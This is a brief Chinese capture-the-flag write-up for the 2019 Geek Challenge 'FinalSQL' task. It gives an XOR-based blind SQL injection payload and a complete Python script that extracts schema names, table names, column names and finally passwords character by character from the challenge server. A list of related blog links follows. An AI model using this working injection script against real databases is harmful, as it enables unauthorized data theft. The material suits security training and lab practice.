[极客大挑战 2019]FinalSQL



用异或来注入

注入语句为1是error,为0时为check

复制代码
?id=1^(length(database())=5)

写盲注脚本

这道题有点坑,首先是表名有两个,一个特别想flag,还有一个就是需要多线程,但是由于是python的,也没有那么必要等一会就出来了

复制代码
import requests

flag = ""
i = 0

while True:
    head = 127
    tail = 32
    i += 1

    while tail < head:
        mid = (head + tail) // 2
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})--+"
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{i},1))>{mid})--+"
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{i},1))>{mid})--+"
        url = f"http://3f5e5555-232e-48d1-bae5-64b59f257a76.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(password))from(F1naI1y)),{i},1))>{mid})--+"

        r = requests.get(url=url)
        if 'ERROR' in r.text:
            tail = mid + 1
        else:
            head = mid

    if tail != 32:
        flag += chr(tail)

    else:
        break
    print(flag)
相关推荐
智者知已应修善业18 分钟前
【编写函数求表达式的值】2024-4-3
c语言·c++·经验分享·笔记·算法
kejiayuan1 小时前
CTE更易懂的SQL风格
数据库·sql
菩提小狗2 小时前
Sqlmap双击运行脚本,双击直接打开。
前端·笔记·安全·web安全
PyHaVolask2 小时前
SQL注入漏洞原理
数据库·sql
一条咸鱼_SaltyFish4 小时前
[Day15] 若依框架二次开发改造记录:定制化之旅 contract-security-ruoyi
java·大数据·经验分享·分布式·微服务·架构·ai编程
l1t4 小时前
DeepSeek辅助编写的利用位掩码填充唯一候选数方法求解数独SQL
数据库·sql·算法·postgresql
CodeCaptain5 小时前
CocosCreator 2.4.13 [.gitignore]文件内容,仅供参考
经验分享·游戏程序·cocoscreator
冰暮流星5 小时前
sql语句之select语句的基本使用
数据库·sql·mysql
霖霖总总7 小时前
[小技巧15]深入解读 MySQL sql_mode:从原理到实践,规避常见坑
sql·mysql
菩提小狗7 小时前
SQL注入之sqlmap|web安全|渗透测试|网络安全
数据库·sql·web安全